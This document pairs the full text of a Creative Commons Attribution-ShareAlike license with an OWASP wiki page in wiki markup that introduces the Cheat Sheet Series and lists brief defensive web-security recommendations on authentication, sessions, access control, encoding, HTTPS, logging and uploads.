BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.

1. Definitions

"Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License.
"Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License.
"Licensor" means the individual or entity that offers the Work under the terms of this License.
"Original Author" means the individual or entity who created the Work.
"Work" means the copyrightable work of authorship offered under the terms of this License.
"You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
"License Elements" means the following high-level license attributes as selected by Licensor and indicated in the title of this License: Attribution, ShareAlike.

2. Fair Use Rights.

Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.

3. License Grant.

Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:

to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
to create and reproduce Derivative Works;
to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works.
For the avoidance of doubt, where the work is a musical composition:

Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or via a performance rights society (e.g. ASCAP, BMI, SESAC), royalties for the public performance or public digital performance (e.g. webcast) of the Work.
Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights society or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions).
Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved.

4. Restrictions.

The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:

You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by clause 4(c), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by clause 4(c), as requested.
You may distribute, publicly display, publicly perform, or publicly digitally perform a Derivative Work only under the terms of this License, a later version of this License with the same License Elements as this License, or a Creative Commons iCommons license that contains the same License Elements as this License (e.g. Attribution-ShareAlike 2.5 Japan). You must include a copy of, or the Uniform Resource Identifier for, this License or other license specified in the previous sentence with every copy or phonorecord of each Derivative Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Derivative Works that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder, and You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Derivative Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Derivative Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Derivative Work itself to be made subject to the terms of this License.
If you distribute, publicly display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit.

5. Representations, Warranties and Disclaimer

UNLESS OTHERWISE AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE MATERIALS, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.

6. Limitation on Liability.

EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

7. Termination

This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works or Collective Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.

8. Miscellaneous

Each time You distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.

OWASP Cheat Sheet Series

2016-03-02T20:54:34Z

Thompsnm: /* Master Cheat Sheet */ remove extra instance of the word 'users'; replace 'a' with 'an' before 'ACL'

= Main =
<div style="width:100%;height:90px;border:0,margin:0;overflow: hidden;">[[File: lab_big.jpg|link=OWASP_Project_Stages#tab.3DLab_Projects]]</div>
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

The OWASP Cheat Sheet Series was created to provide a concise collection of high value information on specific web application security topics. These cheat sheets were created by various application security professionals who have expertise in specific topics. We hope that the OWASP Cheat Sheet Series provides you with excellent security guidance in an easy to read format.

If you have any questions about the OWASP Cheat Sheet Series, please email the project leader [mailto:jim.manico@owasp.org Jim Manico] or subscribe to our [https://lists.owasp.org/mailman/listinfo/owasp-cheat-sheets project email list].

== Authors ==

Project Leader: [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @] 
Contributors: Shruti Kulkarni, Torsten Gigler, Michael Coates, Jeff Williams, Dave Wichers, Kevin Wall, Jeffrey Walton, Eric Sheridan, Kevin Kenan, David Rook, Fred Donovan, Abraham Kang, Dave Ferguson, Shreeraj Shah, Raul Siles, Colin Watson, Neil Matatall and many more!

== OWASP Cheat Sheets ==

{{Cheatsheet_Navigation_Body}}

| valign="top" style="padding-left:25px;width:200px;" |

== Quick Access ==
OWASP Cheatsheet Series Book : April 2015 [https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf PDF download].

== Email List ==
[https://lists.owasp.org/mailman/listinfo/owasp-cheat-sheets Project Email List]

== Licensing ==
The OWASP Cheat Sheet Series is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].

== Related Projects ==
* [[OWASP Proactive Controls]]
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project OWASP Application Security Verification Standard Project]

== News and Events ==
* [Feb 6 2016] New navigation template rolled out project-wide
* [Jun 11 2015] [https://www.owasp.org/index.php/SAML_Security_Cheat_Sheet SAML Cheat Sheet] added to project
* [Feb 11 2015] [https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf Cheat Sheet "book"] added to project
* [Apr 4 2014] All non-draft cheat sheets moved to new wiki template!
* [Feb 4 2014] Project-wide cleanup started

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-labs-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Labs_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

= Master Cheat Sheet =

==Authentication==
Ensure all entities go through an appropriate and adequate form of authentication. All the application non-public resource must be protected and shouldn't be bypassed.

For more information, check [https://www.owasp.org/index.php/Authentication_Cheat_Sheet Authentication Cheat Sheet]

==Session Management==

Use secure session management practices that ensure that authenticated users have a robust and cryptographically secure association with their session.

For more information, check [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet Session Management Cheat Sheet]

==Access Control==

Ensure that a user has access only to the resources they are entitled to. Perform access control checks on the server side on every request. All user-controlled parameters should be validated for entitlemens checks. Check if user name or role name is passed through the URL or through hidden variables. Prepare an ACL containing the Role-to-Function mapping and validate if the users are granted access as per the ACL.

For more information, check [https://www.owasp.org/index.php/Access_Control_Cheat_Sheet Access Control Cheat Sheet]

==Input Validation==

Input validation is performed to minimize malformed data from entering the system. Input Validation is NOT the primary method of preventing XSS, SQL Injection. These are covered in output encoding below.

For more information, check [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet Input Validation Cheat Sheet]

==Output Encoding==

Output encoding is the primary method of preventing XSS and injection attacks. Input validation helps minimize the introduction of malformed data, but it is a secondary control.

For more information, check [https://www.owasp.org/index.php/XSS_Prevention_Cheat_Sheet XSS (Cross Site Scripting) Prevention Cheat Sheet].

==Cross Domain==

Ensure that adequate controls are present to prevent against Cross-site Request Forgery, Clickjacking and other 3rd Party Malicious scripts.

For more information, check [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet Cross Site Request Forgery]

==Secure Transmission==

Ensure that all the applications pages are served over cryptographically secure HTTPs protocols. Prohibit the transmission of session cookies over HTTP.

For more information, check [https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet Transport Protection Cheat Sheet]

==Logging==

Ensure that all the security related events are logged. Events include: User log-in (success/fail); view; update; create, delete, file upload/download, attempt to access through URL, URL tampering. Audit logs should be immutable and write only and must be protected from unauthorized access.

For more information, check [https://www.owasp.org/index.php/Logging_Cheat_Sheet Logging Cheat Sheet]

==Uploads==

Ensure that the size, type, contents and name of the uploaded files are validated. Uploaded files must not be accessible to users by direct browsing. Preferably store all the uploaded files in a different file server/drive on the server. All files must be virus scanned using a regularly updated scanner.

= Roadmap =

* Bring all cheat sheets out of draft by June 2016

__NOTOC__ <headertabs />

[[Category:OWASP_Project|OWASP Cheat Sheets Project]]
[[Category:OWASP_Document]]
[[Category:OWASP_Alpha_Quality_Document]]
[[Category:SAMM-EG-1]]